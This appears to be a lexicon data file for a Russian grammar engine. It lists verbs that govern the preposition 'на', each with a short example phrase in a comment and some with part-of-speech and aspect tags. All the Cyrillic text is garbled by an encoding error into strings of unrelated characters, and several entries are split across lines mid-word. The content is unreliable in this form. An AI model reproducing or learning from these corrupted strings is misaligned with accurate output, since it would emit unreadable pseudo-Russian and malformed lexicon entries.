rus_verbs:ะพะฟะฐะดะฐัั{}, // ะพะฟะฐะดะฐัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะบัะฟะธัััั{}, // ะบัะฟะธัััั ะฝะฐ ะฟะพััะปั
rus_verbs:ะณะฝะตะฒะฐัััั{}, // ะณะฝะตะฒะฐัััั ะฝะฐ ัะปัะณ
rus_verbs:ัะปะตัะตัััั{}, // ัะปะตัะตัััั ะฝะฐ ัะฐะทะดะฐัั
rus_verbs:ัะฑะฐะฒะธัั{}, // ัะฑะฐะฒะธัั ะฝะฐ ะดะฒะฐ ััะพะฒะฝั
rus_verbs:ัะฟะธั
ะฝััั{}, // ัะฟะธั
ะฝััั ะฝะฐ ัะพัะตะดะฐ
rus_verbs:ะฝะฐะบัะธัะฐัั{}, // ะฝะฐะบัะธัะฐัั ะฝะฐ ัะตะฑะตะฝะบะฐ
rus_verbs:ะฟัะธะฑะตัะตัั{}, // ะฟัะธะฑะตัะตัั ะฝะฐ ัะถะธะฝ
rus_verbs:ะฟัะธะบะปะตะธัั{}, // ะฟัะธะบะปะตะธัั ะฝะฐ ะฒะตััะพะฒะพะต ััะตะบะปะพ
rus_verbs:ะพะฟะพะปัะธัััั{}, // ะพะฟะพะปัะธัััั ะฝะฐ ะฟะพััะตะดะฝะธะบะพะฒ
rus_verbs:ััะฐัะธัััั{}, // ััะฐัะธัััั ะฝะฐ ััะฒะตะฝะธัั
rus_verbs:ัะปะตัะฐัััั{}, // ัะปะตัะฐัััั ะฝะฐ ัะฒะตั
rus_verbs:ะดะพััะฐะฒะปััััั{}, // ะดะพััะฐะฒะปััััั ะฝะฐ ะฑะฐะทั
rus_verbs:ะฟะพะฟะปะตะฒะฐัั{}, // ะฟะพะฟะปะตะฒะฐัั ะฝะฐ ััะบะธ
rus_verbs:ะพะณััะทะฐัััั{}, // ะพะณััะทะฐัััั ะฝะฐ ะทะฐะผะตัะฐะฝะธะต
rus_verbs:ะฟะพะฟะตัะตัััั{}, // ะฟะพะฟะตัะตัััั ะฝะฐ ััะฝะพะบ
rus_verbs:ัะฐัััะณะธะฒะฐัััั{}, // ัะฐัััะณะธะฒะฐัััั ะฝะฐ ะฟะพะปั
rus_verbs:ะฟะพะฒะตัะณะฐัั{}, // ะฟะพะฒะตัะณะฐัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะปะพะฒะธัััั{}, // ะปะพะฒะธัััั ะฝะฐ ะผะพััะปั
rus_verbs:ะฝะฐัะตะดะฐัั{}, // ะฝะฐัะตะดะฐัั ะฝะฐ ะพะฑะพัะพะฝัััะธั
ัั
rus_verbs:ัะฐะทะฒะฐะปะธัั{}, // ัะฐะทะฒะฐะปะธัั ะฝะฐ ะบะธัะฟะธัะธ
rus_verbs:ัะฐะทะปะพะผะธัั{}, // ัะฐะทะปะพะผะธัั ะฝะฐ ะฝะตัะบะพะปัะบะพ ัะฐััะตะน
rus_verbs:ะฟัะธะผะตัะธัั{}, // ะฟัะธะผะตัะธัั ะฝะฐ ัะตะฑั
rus_verbs:ะปะตะฟะธัััั{}, // ะปะตะฟะธัััั ะฝะฐ ััะตะฝั
rus_verbs:ัะบะพะฟะธัั{}, // ัะบะพะฟะธัั ะฝะฐ ััะฐัะพััั
rus_verbs:ะทะฐััะฐัะธัั{}, // ะทะฐััะฐัะธัั ะฝะฐ ะปะธะบะฒะธะดะฐัะธั ะฟะพัะปะตะดััะฒะธะน
rus_verbs:ะฟัะธัะฐัะธัััั{}, // ะฟัะธัะฐัะธัััั ะฝะฐ ะณัะปัะฝะบั
rus_verbs:ะพัะตััะฐัั{}, // ะพัะตััะฐัั ะฝะฐ ะฟัะธัะปัะณั
rus_verbs:ะฝะฐััะฐะฒะธัั{}, // ะฝะฐััะฐะฒะธัั ะฝะฐ ะผะตะดะฒะตะดั
rus_verbs:ัััะฟะฐัั{}, // ัััะฟะฐัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฟะพะดะฒะพะทะธัั{}, // ะฟะพะดะฒะพะทะธัั ะฝะฐ ะฟัะธััะฐะฝั
rus_verbs:ะผะพะฑะธะปะธะทะพะฒะฐัั{}, // ะผะพะฑะธะปะธะทะพะฒะฐัั ะฝะฐ ัะฑะพัั
rus_verbs:ัะผะพัะฐัััั{}, // ัะผะพัะฐัััั ะฝะฐ ัะฐะฑะพัั
rus_verbs:ะทะฐะณะปัะดะตัััั{}, // ะทะฐะณะปัะดะตัััั ะฝะฐ ะดะตะฒัะพะฝะพะบ
rus_verbs:ัะฐัะบะฐัััั{}, // ัะฐัะบะฐัััั ะฝะฐ ัะฐะฑะพัั
rus_verbs:ัะฐะทะณััะถะฐัั{}, // ัะฐะทะณััะถะฐัั ะฝะฐ ััะฐะฝัะฟะพััะตั
rus_verbs:ะฟะพััะตะฑะปััั{}, // ะฟะพััะตะฑะปััั ะฝะฐ ะบะพะฝะดะธัะธะพะฝะธัะพะฒะฐะฝะธะต
ะธะฝัะธะฝะธัะธะฒ:ัะณะพะฝััั{ ะฒะธะด:ัะพะฒะตัั }, ะณะปะฐะณะพะป:ัะณะพะฝััั{ ะฒะธะด:ัะพะฒะตัั }, // ัะณะพะฝััั ะฝะฐ ะฑะฐะทั
ะดะตะตะฟัะธัะฐััะธะต:ัะณะพะฝัะฒ{},
rus_verbs:ะฟะพััะปะฐัััั{}, // ะฟะพััะปะฐัััั ะฝะฐ ัะฐะทะฒะตะดะบั
rus_verbs:ะพะบัััะธัััั{}, // ะพะบัััะธัััั ะฝะฐ ะบะพะณะพ-ัะพ
rus_verbs:ะพัะปะธัั{}, // ะพัะปะธัั ะฝะฐ ัะบะพะฒะพัะพะดั
rus_verbs:ัะธะบะฝััั{}, // ัะธะบะฝััั ะฝะฐ ะดะตัะธัะตะบ
rus_verbs:ัะฟะพะฒะฐัั{}, // ัะฟะพะฒะฐัั ะฝะฐ ะฑะตัะบะพัััะฝัั ะฟะพะผะพัั
rus_verbs:ะบะปะฐััััั{}, // ะบะปะฐััััั ะฝะฐ ััะพะป
rus_verbs:ะฟะพะบะพะฒัะปััั{}, // ะฟะพะบะพะฒัะปััั ะฝะฐ ะฒัั
ะพะด
rus_verbs:ะฝะฐะฒะตะฒะฐัั{}, // ะฝะฐะฒะตะฒะฐัั ะฝะฐ ัะพะฑัะฐะฒัะธั
ัั ัะบัะบั
rus_verbs:ะฝะฐะบะปะฐะดัะฒะฐัััั{}, // ะฝะฐะบะปะฐะดัะฒะฐัััั ะฝะฐ ะณััะฝัะพะฒะบั
rus_verbs:ะฝะฐะฝะพัะธัััั{}, // ะฝะฐะฝะพัะธัััั ะฝะฐ ัะธัััั ะบะพะถั
// rus_verbs:ะทะฐะฟะปะฐะฝะธัะพะฒะฐัั{}, // ะทะฐะฟะปะฐะฝะธัะพะฒะฐัั ะฝะฐ ััะตะดั
rus_verbs:ะบัะฒััะบะฝััััั{}, // ะบัะฒััะบะฝััััั ะฝะฐ ะทะตะผะปั
rus_verbs:ะณะฐะฒะบะฝััั{}, // ะณะฐะฒะบะฝััั ะฝะฐ ั
ะพะทัะธะฝะฐ
rus_verbs:ะฟะตัะตัััะพะธัััั{}, // ะฟะตัะตัััะพะธัััั ะฝะฐ ะฝะพะฒัะน ะปะฐะด
rus_verbs:ัะฐัั
ะพะดะพะฒะฐัััั{}, // ัะฐัั
ะพะดะพะฒะฐัััั ะฝะฐ ะพะฑัะฐะทะพะฒะฐะฝะธะต
rus_verbs:ะดััััั{}, // ะดััััั ะฝะฐ ะฑะฐะฑััะบั
rus_verbs:ะฟะตัะตัะฐัะบะธะฒะฐัั{}, // ะฟะตัะตัะฐัะบะธะฒะฐัั ะฝะฐ ัะฐะฑะพัะธะน ััะพะป
rus_verbs:ะธะทะดะฐัััั{}, // ะธะทะดะฐัััั ะฝะฐ ะดะตะฝัะณะธ ัะฟะพะฝัะพัะพะฒ
rus_verbs:ัะผะตัะฐัััั{}, // ัะผะตัะฐัััั ะฝะฐ ะฝะตัะบะพะปัะบะพ ะผะธะปะปะธะผะตััะพะฒ
rus_verbs:ะทะฐะทัะฒะฐัั{}, // ะทะฐะทัะฒะฐัั ะฝะฐ ะฝะพะฒะพะณะพะดะฝัั ัะฐัะฟัะพะดะฐะถั
rus_verbs:ะฟะธะบะธัะพะฒะฐัั{}, // ะฟะธะบะธัะพะฒะฐัั ะฝะฐ ะพะบะพะฟั
rus_verbs:ัะตัััั
ะฐัััั{}, // ัะตัััั
ะฐัััั ะฝะฐ ะผะตัะฐััะธั
ัั ะดะตัะตะน
rus_verbs:ะทัะดะธัั{}, // ะทัะดะธัั ะฝะฐ ัั
ะพ
rus_verbs:ะฟะพะดัะฐะทะดะตะปััััั{}, // ะฟะพะดัะฐะทะดะตะปััััั ะฝะฐ ะณััะฟะฟั
rus_verbs:ะธะทะปะธะฒะฐัััั{}, // ะธะทะปะธะฒะฐัััั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฟะพะผะพัะธัััั{}, // ะฟะพะผะพัะธัััั ะฝะฐ ััะฐะฒั
rus_verbs:ะฟัะธะผะตัััั{}, // ะฟัะธะผะตัััั ะฝะฐ ัะตะฑั
rus_verbs:ัะฐะทััะดะธัััั{}, // ัะฐะทััะดะธัััั ะฝะฐ ะทะตะผะปั
rus_verbs:ะผะพัะฝััััั{}, // ะผะพัะฝััััั ะฝะฐ ะบัััั
rus_verbs:ะฝะฐะปะตะณะฐัั{}, // ะฝะฐะปะตะณะฐัั ะฝะฐ ะฒะตัะปะฐ
rus_verbs:ะทะฐัะพะบะฐัั{}, // ะทะฐัะพะบะฐัั ะฝะฐ ะบััะธั
rus_verbs:ะฝะฐะฝะธะผะฐัััั{}, // ะฝะฐะฝะธะผะฐัััั ะฝะฐ ะบะพัะฐะฑะปั
rus_verbs:ัะฟะปะตะฒัะฒะฐัั{}, // ัะฟะปะตะฒัะฒะฐัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฝะฐััััะฐัั{}, // ะฝะฐััััะฐัั ะฝะฐ ัะฐะฑะพัะฐะถะฝะธะบะฐ
rus_verbs:ะฟัะธะทะตะผะปััััั{}, // ะฟัะธะทะตะผะปััััั ะฝะฐ ะฑััั
ะพ
rus_verbs:ะฝะฐัะฐะปะบะธะฒะฐัััั{}, // ะฝะฐัะฐะปะบะธะฒะฐัััั ะฝะฐ ะพะฑัะตะบัะธะฒะฝัะต ัััะดะฝะพััะธ
rus_verbs:ะฟะพัะธะณะฝะฐะปะธัั{}, // ะฟะพัะธะณะฝะฐะปะธัั ะฝะฐัััะธัะตะปั, ะฒัะตั
ะฐะฒัะตะผั ะฝะฐ ะฒัััะตัะฝัั ะฟะพะปะพัั
rus_verbs:ัะตััะฐัั{}, // ัะตััะฐัั ะฝะฐ ะฝะตัะฐััะพัะพะฟะฝัั ะฟะพะผะพัะฝะธัั
rus_verbs:ัะฒะฐะปะธะฒะฐัั{}, // ัะฒะฐะปะธะฒะฐัั ะฝะฐ ะฟะพะดะพะบะพะฝะฝะธะบ
rus_verbs:ะทะฐัะพะฑะธัะฐัััั{}, // ะทะฐัะพะฑะธัะฐัััั ะฝะฐ ัะฐะฑะพัั
rus_verbs:ัะฐัะฟะธะปะธัั{}, // ัะฐัะฟะธะปะธัั ะฝะฐ ะพะดะธะฝะฐะบะพะฒัะต ะฑัััะบะธ
//rus_verbs:ัะผะฝะพะถะฐัั{}, // ัะผะฝะพะถะฐัั ะฝะฐ ะบะพะฝััะฐะฝัั
rus_verbs:ะบะพะฟะธัะพะฒะฐัั{}, // ะบะพะฟะธัะพะฒะฐัั ะฝะฐ ะดะธัะบ
rus_verbs:ะฝะฐะบัััะธัั{}, // ะฝะฐะบัััะธัั ะฝะฐ ััะบั
rus_verbs:ะฝะฐะฒะฐะปะธัั{}, // ะฝะฐะฒะฐะปะธัั ะฝะฐ ัะตะปะตะณั
rus_verbs:ะฝะฐัะพะปะบะฝััั{}, // ะฝะฐัะพะปะบะฝััั ะฝะฐ ัะฒะตะถัั ะผััะปั
rus_verbs:ัะปะตะฟะฐัััั{}, // ัะปะตะฟะฐัััั ะฝะฐ ะฑะตัะพะฝ
rus_verbs:ัั
ะปะพะฟะฐัั{}, // ัั
ะปะพะฟะฐัั ะฝะฐ ัะบัะฟะบั ะฟัะพะธะทะฒะตะดะตะฝะธะน ะธัะบััััะฒะฐ
rus_verbs:ะทะฐะผะฐั
ะธะฒะฐัััั{}, // ะทะฐะผะฐั
ะธะฒะฐัััั ะฝะฐ ะฐะฒัะพัะธัะตัะฝะตะนัะตะต ะผะฝะตะฝะธะต
rus_verbs:ะฟะพััะณะฝััั{}, // ะฟะพััะณะฝััั ะฝะฐ ัะฒััะพะต
rus_verbs:ัะฐะทะผะตะฝััั{}, // ัะฐะทะผะตะฝััั ะฝะฐ ะผะตะปะพัั
rus_verbs:ะพัะบะฐััะฒะฐัััั{}, // ะพัะบะฐััะฒะฐัััั ะฝะฐ ะทะฐัะฐะฝะตะต ะฟะพะดะณะพัะพะฒะปะตะฝะฝัะต ะฟะพะทะธัะธะธ
rus_verbs:ััะฐะถะธะฒะฐัั{}, // ััะฐะถะธะฒะฐัั ะฝะฐ ัะบะฐะผะตะนะบั
rus_verbs:ะฝะฐัะฐัะบะฐัั{}, // ะฝะฐัะฐัะบะฐัั ะฝะฐ ะฟะพะธัะบ ะฝะฐัะบะพัะธะบะพะฒ
rus_verbs:ะทะฐัะธะบะฐัั{}, // ะทะฐัะธะบะฐัั ะฝะฐ ะบะพัะบั
rus_verbs:ัะฐะทะปะพะผะฐัั{}, // ัะฐะทะปะพะผะฐัั ะฝะฐ ัะฐะฒะฝัะต ัะฐััะธ
rus_verbs:ะฟัะธะณะปะฐัะฐัััั{}, // ะฟัะธะณะปะฐัะฐัััั ะฝะฐ ััะตะฝั
rus_verbs:ะฟัะธััะณะฐัั{}, // ะฟัะธััะณะฐัั ะฝะฐ ะฒะตัะฝะพััั
rus_verbs:ะทะฐะฟัะพะณัะฐะผะผะธัะพะฒะฐัั{}, // ะทะฐะฟัะพะณัะฐะผะผะธัะพะฒะฐัั ะฝะฐ ะฟะพััะพัะฝะฝัั ัะฑะพัะบั
rus_verbs:ัะฐััะตะดัะธัััั{}, // ัะฐััะตะดัะธัััั ะฝะฐ ะฝะพะฒัะน ะบะพะผะฟัััะตั
rus_verbs:ะฝะฐัะตััั{}, // ะฝะฐัะตััั ะฝะฐ ะดะฒะพะตัะฝะธะบะพะฒ
rus_verbs:ัะพะทัะฒะฐัั{}, // ัะพะทัะฒะฐัั ะฝะฐ ัะพะฑัะฐะฝะธะต
rus_verbs:ะฟะพะทะฐัะธัััั{}, // ะฟะพะทะฐัะธัััั ะฝะฐ ััะถะพะต ะดะพะฑัะพ
rus_verbs:ะฟะตัะตะบะธะดัะฒะฐัััั{}, // ะฟะตัะตะบะธะดัะฒะฐัััั ะฝะฐ ัะพัะตะดะฝะธะต ะทะดะฐะฝะธั
rus_verbs:ะฝะฐะฟะพะปะทะฐัั{}, // ะฝะฐะฟะพะปะทะฐัั ะฝะฐ ะฝะตะฟะพะฒัะตะถะดะตะฝะฝัั ัะบะฐะฝั
rus_verbs:ะธะทััะฑะธัั{}, // ะธะทััะฑะธัั ะฝะฐ ะผะตะปะบะธะต ะบััะพัะบะธ
rus_verbs:ะฝะฐะฒะพัะฐัะธะฒะฐัััั{}, // ะฝะฐะฒะพัะฐัะธะฒะฐัััั ะฝะฐ ะณะปะฐะทะฐ
rus_verbs:ัะฐัะบัะธัะฐัััั{}, // ัะฐัะบัะธัะฐัััั ะฝะฐ ะฒัั ะพะบััะณั
rus_verbs:ะฟะตัะตะฟะพะปะทัะธ{}, // ะฟะตัะตะฟะพะปะทัะธ ะฝะฐ ัะฒะตัะปัั ััะพัะพะฝั
rus_verbs:ัะฟะพะปะฝะพะผะพัะธัั{}, // ัะฟะพะปะฝะพะผะพัะธัั ะฝะฐ ัะฐะทะฒะตะดะพะฒะฐัะตะปัะฝัั ะพะฟะตัะฐัะธั
rus_verbs:ะผะพัะธัััั{}, // ะผะพัะธัััั ะฝะฐ ัััะฟั ัะฑะธััั
ะฒัะฐะณะพะฒ
rus_verbs:ัะฐะดะธัะพะฒะฐัั{}, // ัะฐะดะธัะพะฒะฐัั ะฝะฐ ะฑะฐะทั
rus_verbs:ะฟัะพะผะพัะฐัั{}, // ะฟัะพะผะพัะฐัั ะฝะฐ ะฝะฐัะฐะปะพ
rus_verbs:ะทะฐัะฝััั{}, // ะทะฐัะฝััั ะฝะฐ ะฒะธะดะตะพ
rus_verbs:ะฟะพะดะฑะธะฒะฐัั{}, // ะฟะพะดะฑะธะฒะฐัั ะฝะฐ ะผะฐัั-ัะตะฒะฐะฝั
rus_verbs:ะฝะฐะฟะปะตะฒะฐัั{}, // ะฝะฐะฟะปะตะฒะฐัั ะฝะฐ ัะฟัะฐะฒะตะดะปะธะฒะพััั
rus_verbs:ะฟะพะดะฒัะฒะฐัั{}, // ะฟะพะดะฒัะฒะฐัั ะฝะฐ ะปัะฝั
rus_verbs:ัะฐัะฟะปะตัะบะฐัั{}, // ัะฐัะฟะปะตัะบะฐัั ะฝะฐ ะฟะพะป
rus_verbs:ะฟะพะปัััะธัััั{}, // ะฟะพะปัััะธัััั ะฝะฐ ะฑะตัะฟะปะฐัะฝัะน ััั
rus_verbs:ะฟะพะผัะฐัั{}, // ะฟะพะผัะฐัั ะฝะฐ ัะฐะฑะพัั
rus_verbs:ััะตะทะถะฐัั{}, // ััะตะทะถะฐัั ะฝะฐ ะพะฑะพัะธะฝั
rus_verbs:ะฝะฐัะตะฟัะฐัั{}, // ะฝะฐัะตะฟัะฐัั ะบะพะผั-ัะพ ะฝะฐ ัั
ะพ
rus_verbs:ะฝะฐะบะปะตะธัั{}, // ะฝะฐะบะปะตะธัั ะฝะฐ ะดะพัะบั ะพะฑััะฒะปะตะฝะธะน
rus_verbs:ะทะฐะฒะพะทะธัั{}, // ะทะฐะฒะพะทะธัั ะฝะฐ ัะบะปะฐะด
rus_verbs:ะทะฐัะฒะปััััั{}, // ะทะฐัะฒะปััััั ะฝะฐ ะปัะฑะธะผัั ัะฐะฑะพัั
rus_verbs:ะฝะฐะณะปัะดะตัััั{}, // ะฝะฐะณะปัะดะตัััั ะฝะฐ ะฒะพัะพะฑัะตะฒ
rus_verbs:ั
ะปะพะฟะฝััััั{}, // ั
ะปะพะฟะฝััััั ะฝะฐ ะถะธะฒะพั
rus_verbs:ะทะฐะฑัะตะดะฐัั{}, // ะทะฐะฑัะตะดะฐัั ะฝะฐ ะฟะพะปัะฝั
rus_verbs:ะฟะพััะณะฐัั{}, // ะฟะพััะณะฐัั ะฝะฐ ะธัะบะพะฝะฝัะต ะฟัะฐะฒะฐ ัะพะฑััะฒะตะฝะฝะพััะธ
rus_verbs:ัะดะฒะธะณะฐัั{}, // ัะดะฒะธะณะฐัั ะฝะฐ ะพะดะฝั ะฟะพะทะธัะธั
rus_verbs:ัะฟััะณะธะฒะฐัั{}, // ัะฟััะณะธะฒะฐัั ะฝะฐ ะทะตะผะปั
rus_verbs:ัะดะฒะธะณะฐัััั{}, // ัะดะฒะธะณะฐัััั ะฝะฐ ะดะฒะต ะฟะพะทะธัะธะธ
rus_verbs:ัะฐะทะดะตะปะฐัั{}, // ัะฐะทะดะตะปะฐัั ะฝะฐ ะพัะตั
ะธ
rus_verbs:ัะฐะทะปะฐะณะฐัั{}, // ัะฐะทะปะฐะณะฐัั ะฝะฐ ัะปะตะผะตะฝัะฐัะฝัะต ัะปะตะผะตะฝัั
rus_verbs:ะพะฑัััะธะฒะฐัั{}, // ะพะฑัััะธะฒะฐัั ะฝะฐ ะณะพะปะพะฒั ะฒัะฐะณะพะฒ
rus_verbs:ะฝะฐัะตัั{}, // ะฝะฐัะตัั ะฝะฐ ะฟะพะป
rus_verbs:ะฟะพะปะธัััั{}, // ะฒะพะดะฐ ะฟะพะปัะตััั ะฝะฐ ะทะตะผะปั
rus_verbs:ััะฟะตัั{}, // ะะฝะธ ััะฟะตัั ะฝะฐ ะฟะพะตะทะด.
ะธะฝัะธะฝะธัะธะฒ:ะผะธะณัะธัะพะฒะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะณะปะฐะณะพะป:ะผะธะณัะธัะพะฒะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะดะตะตะฟัะธัะฐััะธะต:ะผะธะณัะธััั{},
ะธะฝัะธะฝะธัะธะฒ:ะผะธะณัะธัะพะฒะฐัั{ ะฒะธะด:ัะพะฒะตัั }, ะณะปะฐะณะพะป:ะผะธะณัะธัะพะฒะฐัั{ ะฒะธะด:ัะพะฒะตัั },
ะดะตะตะฟัะธัะฐััะธะต:ะผะธะณัะธัะพะฒะฐะฒ{},
rus_verbs:ะดะฒะธะฝััััั{}, // ะั ัะบะพัะพ ะดะฒะธะฝะตะผัั ะฝะฐ ะดะฐัั.
rus_verbs:ะฟะพะดะพะนัะธ{}, // ะะฝ ะฝะต ะฟะพะดะพะนะดัั ะฝะฐ ะดะพะปะถะฝะพััั ัะตะบัะตัะฐัั.
rus_verbs:ะฟะพััะฝััั{}, // ะะฝ ะฝะต ะฟะพััะฝะตั ะฝะฐ ะดะธัะตะบัะพัะฐ.
rus_verbs:ััะฝััั{}, // ะะฝ ะฝะต ััะฝะตั ะฝะฐ ะดะธัะตะบัะพัะฐ.
rus_verbs:ะฟะตัะตัะบะฐะบะธะฒะฐัั{}, // ะฟะตัะตัะบะฐะบะธะฒะฐัั ั ะพะดะฝะพะณะพ ะฟัะธะผะตัะฐ ะฝะฐ ะดััะณะพะน
rus_verbs:ะถะฐะปะพะฒะฐัััั{}, // ะะฝ ะถะฐะปัะตััั ะฝะฐ ะฝะตะทะดะพัะพะฒัะต.
rus_verbs:ะธะทะดะฐัั{}, // ะธะทะดะฐัั ะฝะฐ ะดะตะฝัะณะธ ัะฟะพะฝัะพัะพะฒ
rus_verbs:ะฟะพะบะฐะทะฐัััั{}, // ะฟะพะบะฐะทะฐัััั ะฝะฐ ะณะปะฐะทะฐ
rus_verbs:ะฒััะฐะถะธะฒะฐัั{}, // ะฒััะฐะถะธะฒะฐัั ะฝะฐ ะฝะตะพะฑะธัะฐะตะผัะน ะพัััะพะฒ
rus_verbs:ะฒะพะทะฝะตััะธัั{}, // ะฒะพะทะฝะตััะธัั ะฝะฐ ัะฐะผัั ะฒะตััะธะฝั ัะปะฐะฒั
rus_verbs:ะทะฐะปะธัั{}, // ะทะฐะปะธัั ะฝะฐ youtube
rus_verbs:ะทะฐะบะฐัะฐัั{}, // ะทะฐะบะฐัะฐัั ะฝะฐ youtube
rus_verbs:ััะณัะฐัั{}, // ััะณัะฐัั ะฝะฐ ะดะตะฝัะณะธ
rus_verbs:ัะบัััะฐะฟะพะปะธัะพะฒะฐัั{}, // ะคะพัะผัะปั ะผะพะถะฝะพ ัะบัััะฐะฟะพะปะธัะพะฒะฐัั ะฝะฐ ัะปััะฐะน ะฝะตัะบะพะปัะบะธั
ะฟะตัะตะผะตะฝะฝัั
ะธะฝัะธะฝะธัะธะฒ:ัะบัััะฐะฟะพะปะธัะพะฒะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั}, // ะกะธััะฐัะธั ะปะตะณะบะพ ัะบัััะฐะฟะพะปะธััะตััั ะฝะฐ ัะปััะฐะน ะฝะตัะบะพะปัะบะธั
ะฟะตัะตะผะตะฝะฝัั
ะณะปะฐะณะพะป:ัะบัััะฐะฟะพะปะธัะพะฒะฐัััั{ ะฒะธะด:ะฝะตัะพะฒะตัั},
ะธะฝัะธะฝะธัะธะฒ:ัะบัััะฐะฟะพะปะธัะพะฒะฐัััั{ ะฒะธะด:ัะพะฒะตัั},
ะณะปะฐะณะพะป:ัะบัััะฐะฟะพะปะธัะพะฒะฐัััั{ ะฒะธะด:ัะพะฒะตัั},
ะดะตะตะฟัะธัะฐััะธะต:ัะบัััะฐะฟะพะปะธััััั{},
ะธะฝัะธะฝะธัะธะฒ:ะฐะบัะตะฝัะธัะพะฒะฐัั{ะฒะธะด:ัะพะฒะตัั}, // ะพัะฐัะพั ะฐะบัะตะฝัะธัะพะฒะฐะป ะฒะฝะธะผะฐะฝะธะต ัะปััะฐัะตะปะตะน ะฝะฐ ะฝะพะฒัะน ะฐัะฟะตะบั ะฟัะพะฑะปะตะผั
ะณะปะฐะณะพะป:ะฐะบัะตะฝัะธัะพะฒะฐัั{ะฒะธะด:ัะพะฒะตัั},
ะธะฝัะธะฝะธัะธะฒ:ะฐะบัะตะฝัะธัะพะฒะฐัั{ะฒะธะด:ะฝะตัะพะฒะตัั},
ะณะปะฐะณะพะป:ะฐะบัะตะฝัะธัะพะฒะฐัั{ะฒะธะด:ะฝะตัะพะฒะตัั},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฐะบัะตะฝัะธัะพะฒะฐะฒัะธะน{ะฒะธะด:ะฝะตัะพะฒะตัั},
//ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฐะบัะตะฝัะธัะพะฒะฐะฒัะธะน{ะฒะธะด:ัะพะฒะตัั},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฐะบัะตะฝัะธััััะธะน{},
ะดะตะตะฟัะธัะฐััะธะต:ะฐะบัะตะฝัะธัะพะฒะฐะฒ{},
ะดะตะตะฟัะธัะฐััะธะต:ะฐะบัะตะฝัะธััั{},
rus_verbs:ะฑะฐะฑะฐั
ะฐัััั{}, // ะพะฝ ะฑะฐะฑะฐั
ะฐะปัั ะฝะฐ ะฟะพะป
rus_verbs:ะฑะฐะฑะฐั
ะฝััััั{}, // ะผะฐะปััะธะป ะฑะฐะฑะฐั
ะฝัะปัั ะฝะฐ ะฐััะฐะปัั
rus_verbs:ะฑะฐััะฐัะธัั{}, // ะัะตััััะฝะต ะฑะฐััะฐัะธะปะธ ะฝะฐ ั
ะพะทัะธะฝะฐ
rus_verbs:ะฑะฐั
ะฐัััั{}, // ะะฐะตะทะดะฝะธะบะธ ะฑะฐั
ะฐะปะธัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฑะฐั
ะฝััััั{}, // ะะฐะตะทะดะฝะธะบ ะพะฟััั ะฑะฐั
ะฝัะปัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฑะปะฐะณะพัะปะพะฒะธัั{}, // ะฑะฐัััะบะฐ ะฑะปะฐะณะพัะปะพะฒะธะป ะพััะพะบะฐ ะฝะฐ ะฟะพะดะฒะธะณ
rus_verbs:ะฑะปะฐะณะพัะปะพะฒะปััั{}, // ะฑะฐัััะบะฐ ะฑะปะฐะณะพัะปะพะฒะปัะตั ะพััะพะบะฐ ะฝะฐ ะฟะพะดะฒะธะณ
rus_verbs:ะฑะปะตะฒะฐะฝััั{}, // ะะฝ ะฑะปะตะฒะฐะฝัะป ะฝะฐ ะทะตะผะปั
rus_verbs:ะฑะปะตะฒะฐัั{}, // ะะฝ ะฑะปัะตั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฑัั
ะฝััััั{}, // ะะฐะตะทะดะฝะธะบ ะฑัั
ะฝัะปัั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฒะฐะปะธัั{}, // ะะตัะตั ะฒะฐะปะธะป ะดะตัะตะฒัั ะฝะฐ ะทะตะผะปั
rus_verbs:ัะฟะธะปะธัั{}, // ะกะฟะธะปะตะฝะฝะพะต ะดะตัะตะฒะพ ะฒะฐะปะธััั ะฝะฐ ะทะตะผะปั
rus_verbs:ะฒะฒะตะทัะธ{}, // ะัะตะดะฟัะธััะธะต ะฒะฒะตะทะปะพ ัะพะฒะฐั ะฝะฐ ัะฐะผะพะถะฝั
rus_verbs:ะฒะดะพั
ะฝะพะฒะธัั{}, // ะคะธะปัะผ ะฒะดะพั
ะฝะพะฒะธะป ะผะฐะปััะธะบะฐ ะฝะฐ ะฟะพั
ะพะด ะฒ ะปะตั
rus_verbs:ะฒะดะพั
ะฝะพะฒะธัััั{}, // ะะฐะปััะธะบ ะฒะดะพั
ะฝะพะฒะธะปัั ะฝะฐ ะฟะพั
ะพะด
rus_verbs:ะฒะดะพั
ะฝะพะฒะปััั{}, // ะคะธะปัะผ ะฒะดะพั
ะฝะพะฒะปัะตั ะฝะฐ ะฟะพั
ะพะด ะฒ ะปะตั
rus_verbs:ะฒะตััะธัั{}, // ะะต ะฒะตะดะธัั ะฝะฐ ััะธ ัะปะพะฒะบะธ!
rus_verbs:ะฒะตัะฐัั{}, // ะะพััะธ ะฒะตัะฐัั ะพะดะตะถะดั ะฝะฐ ะฒะตัะฐะปะบั
rus_verbs:ะฒะตัะฐัััั{}, // ะะดะตะถะดะฐ ะฒะตัะฐะตััั ะฝะฐ ะฒะตัะฐะปะบะธ
rus_verbs:ะฒะตัะฐัั{}, // ัะฐะดะธะพััะฐะฝัะธั ะฒะตัะฐะตั ะฝะฐ ะฒัั ัััะฐะฝั
rus_verbs:ะฒะทะฑะธัะฐัััั{}, // ะขััะธััั ะฒะทะฑะธัะฐัััั ะฝะฐ ะทะฐัะพััะธะน ะปะตัะพะผ ั
ะพะปะผ
rus_verbs:ะฒะทะฑัะตะดะฐัั{}, // ะงัะพ ะธะฝะพะณะดะฐ ะฒะทะฑัะตะดะฐะตั ะฝะฐ ัะผ
rus_verbs:ะฒะทะฑัะตััะธ{}, // ะงัะพ-ัะพ ะฒะทะฑัะตะปะพ ะฝะฐ ัะผ
rus_verbs:ะฒะทะฒะฐะปะธัั{}, // ะะฐะผะฐ ะฒะทะฒะฐะปะธะปะฐ ะฝะฐ ัะฒะพะธ ะฟะปะตัะธ ะฒัั ะดะพะผะฐัะฝะตะต ั
ะพะทัะนััะฒะพ
